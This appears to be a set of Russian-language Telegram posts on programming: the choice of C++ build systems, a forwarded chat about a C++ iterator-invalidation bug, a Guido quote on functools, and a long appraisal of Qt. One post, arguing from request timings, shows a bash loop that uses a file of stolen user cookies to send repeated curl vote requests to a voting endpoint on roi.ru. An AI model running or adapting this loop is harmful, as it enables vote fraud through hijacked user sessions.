система сборки

bazel? но это не с/с++ специфично
cmake? фу
что там еще есть?

[Forwarded from Denis]
блин, нашёл тут на работе в своём старом коде

std::vector<_> vec = ...;
auto it = vec.begin(), end = vec.end();
while (it != end) {
    if (/* some conditions on `it` */) {
        ++it;
        continue;
    } else {
        // ...
        it = vec.erase(it);
    }
}

[Forwarded from Denis]
это просто п**дец, как я мог так ошибиться

[Forwarded from Denis]
переписал в иммутабильном стиле, планирую грепнуть и всё нафиг переписать так

[Forwarded from Stanislav Popov]
а в чем проблема?

[Forwarded from Denis]
vec.erase(it) инвалидирует все итераторы, которые распологались «после» it, в том числе и vec.end()

[Forwarded from Denis]
а я его закэшировал какого-то хрена

[Forwarded from Denis]
еб*чие плюсы, и ни один сраный линтер из тех, что мы юзаем, не заметил х**ни :(

[Forwarded from Denis]
у меня щас горит на самом деле, потому что ни clang'овский scan-build, ни cppcheck не находят говна

[Forwarded from Denis]
придётся видимо грепать проект по .erase(

[Forwarded from Denis]
плюсы — дно

[Forwarded from Denis]
даже когда вроде вот знаешь всё х**ню и умеешь их готовить

[Forwarded from Denis]
на секунду отвлёкся/забылся — проиграл

Почему TopologicalSorter лежит в functools? Что тут функционального?

На правах шутки: Потому что это свалка для вещей, которые не нужны Гвидо.

Guido:

“I value readability and usefulness for real code. There are some places where map() and filter() make sense, and for other places Python has list comprehensions. I ended up hating reduce() because it was almost exclusively used (a) to implement sum(), or (b) to write unreadable code. So we added built-in sum() at the same time we demoted reduce() from a built-in to something in functools (which is a dumping ground for stuff I don’t really care about :-).”

Эх дружок, молод ты ещё
Не ты выбираешь политику а политика выбирает тебя

О да, исследуя ее мир я впервые почувствовал нечто, чему после некоторых поисков нашел название — Моно но аварэ, собственно оттуда и начался интерес к японской эстетике

Характерное время работы POST-запроса голосования (/ajax/voting/) — 300..350 мс. Маловероятно, что 7 таких достаточно тяжелых запросов можно выполнить с удаленного сервера за секунду

while sleep 180; do
    for COOKIE in $(sort -R stolen_user_cookies.txt | head -n 7); do
        curl -b "$COOKIE" -d "$VOTE" http://www.roi.ru/ajax/voting/ &
    done
    wait
done

Основная проблема всего написанного в том, что это лишь один кейс использования Qt. Я уже тыщу лет на нём не пишу (с версии 5.4), но в те времена когда я свои мелкие поделия нан ём делал, мне в нём нравилось:

1) Event-based потокобезопасная и быстрая модель взаимодействия почти всего во фреймворке. Самое главное то, что её было ОЧЕНЬ легко использовать и почти не надо было думать. Всё взлетало само, много ума не надо.

2) Богатый набор всего на свете. Тогда Qt воспринимался как boost с человеческим лицом, т.е. вещь в которой можно накопать всё что угодно и это будет работать хорошо и быстро.

3) QML очень удобная вещь.

4) Документация. Долгое время я думал, что на MSDN хорошая документация, но потом я встретил документацию Qt. Ничего более прекрасного я не видел никогда и нигде (в мире С++, в других экосистемах всякое есть).

5) НОРМАЛЬНЫЙ кроссплатформенный (Mac/Win/Lin на то время) GUI фреймворк. Где всё работало блин. А если не работало, требовались прямо вот совсем минимальные подпрыгивания. Шрифты не уезжают, поддержка нативных контролов есть, ничего не тормозит "на глаз".

6) На тот момент единственная бесплатная вменяемая кроссплатформенная C++ IDE

7) qmake (вроде уже похоронили)

Но самое главное Qt Framework — это фреймворк, в широком смысле и это очень хороший фреймворк. Тебе не нужно по большей части особо думать, просто нужно найти точку расширения, написать своей логики, за Qt уже сделает всё за тебя.

И вряд ли кто-то вот так в один момент откажется от Qt по щелчку пальцев. По сути, Qt стал популярен и приобрел статус хорошего надежного решения и сейчас делает шаг в сторону использования только большими компаниями, ибо на них можно срубить больше бабла. Если он сможет закрепиться в этой позиции, то еще долго будет жить. Большим компаниям будут нужны программисты на Qt, так что программисты будут его учить, т.к. он перспективный и т.д. и т.п.

А не сможет — ну, откатит лицензионную модель обратно.